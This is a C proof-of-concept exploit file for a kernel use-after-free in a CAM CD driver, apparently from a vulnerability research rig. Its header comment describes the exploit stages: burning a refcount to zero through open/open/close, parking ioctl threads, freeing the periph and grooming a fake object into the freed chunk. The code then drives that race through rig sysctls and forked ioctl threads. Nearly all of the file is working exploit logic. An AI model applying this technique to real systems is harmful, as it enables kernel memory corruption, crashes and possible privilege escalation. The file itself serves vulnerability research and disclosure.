DF-5327 / poc_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | /* DF-5327 PoC stage 2 (in-flight UAF into the attacker-groomed fake): * * With the refcount burned to 0 by the open/open/close protocol (see * poc_multopen.c), an ioctl thread parked between cam_extend_get() and * cam_periph_hold() holds NO reference. The rig: * 1. gate=1 -- kthread takes the SIM lock, so the ioctl threads park * in cam_periph_lock() *after* fetching the periph pointer * 2. defer=1 -- SCSI completions are parked so the first ioctl thread * sleeps in cam_periph_ccbwait() (still no extra ref held * beyond its own cam_periph_hold -- which is exactly 1) * 3. gate=2 -- cam_periph_invalidate() with refcount==0 frees the * periph synchronously; the freed chunk is immediately * regroomed with a rig-chosen fake cam_periph * (refcount=0x41414141); SIM lock released * 4. the second parked thread resumes cam_periph_lock() on the FREED * chunk, reads periph->sim/path/softc from the fake, runs * cam_periph_hold() -> ++refcount ON FREED MEMORY, and * executes a full CD ioctl round trip on the fake object. * * rig evidence: debug.evilcd.postmortem -> uaf_hits>0 and * fakeref@hit=41414142 (the ++ landed in the freed chunk). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/cdio.h> #include <sys/sysctl.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> static const char *devpath = "/dev/cd1"; static void sysctl_set(const char *name, int v) { size_t l = sizeof(v); if (sysctlbyname(name, NULL, NULL, &v, l) != 0) fprintf(stderr, "[poc] sysctl %s=%d failed: %s\n", name, v, strerror(errno)); } static int refcnt(void) { int v = -999; size_t l = sizeof(v); sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0); return (v); } static char * postmortem(void) { static char buf[1024]; size_t l = sizeof(buf); if (sysctlbyname("debug.evilcd.postmortem", buf, &l, NULL, 0) != 0) strlcpy(buf, "(sysctl failed)", sizeof(buf)); return (buf); } int main(void) { int fd1, fd2, rc, st; fd1 = open(devpath, O_RDONLY); if (fd1 < 0) err(1, "open#1"); fd2 = open(devpath, O_RDONLY); if (fd2 < 0) err(1, "open#2"); close(fd2); rc = refcnt(); printf("[poc] refcount after open/open/close: %d (want 0)\n", rc); if (rc != 0) { printf("[poc] FAIL: refcount not burned to 0\n"); return (1); } /* park all SCSI IO (in-flight ioctls will sleep in ccbwait) */ sysctl_set("debug.evilcd.defer", 1); /* park the SIM lock: new ioctl threads block in cam_periph_lock() */ sysctl_set("debug.evilcd.gate", 1); sleep(1); /* T2: first ioctl -- parks at cam_periph_lock (gate holds ev_lock) */ if (fork() == 0) { int fd = open(devpath, O_RDONLY); /* add one open ref? NO -- fd1 already covers refs; this fd's * acquire/release is net-0 by the fixup (flag already set) */ ioctl(fd, CDIOCPREVENT); pause(); _exit(0); } sleep(1); /* T3: second ioctl -- also parks at cam_periph_lock */ if (fork() == 0) { int fd = open(devpath, O_RDONLY); ioctl(fd, CDIOCPREVENT); printf("[poc] T3 ioctl returned (executed on fake periph)\n"); fflush(stdout); _exit(0); } sleep(1); /* free the periph + groom the fake into the freed chunk */ printf("[poc] gate=2: invalidate(refcount==0 -> camperiphfree) " "+ regroom + release\n"); sysctl_set("debug.evilcd.gate", 2); /* T3 now executes against the fake; T2 stays parked (deferred) */ sleep(3); printf("[poc] postmortem: %s\n", postmortem()); /* cleanup: release the deferred ccb is NOT wanted (T2 would then * complete on freed objects and likely panic -- we leave it parked * and just report). */ waitpid(-1, &st, WNOHANG); printf("[poc] done (guest left with one parked ioctl thread by " "design; reset before further use)\n"); return (0); } |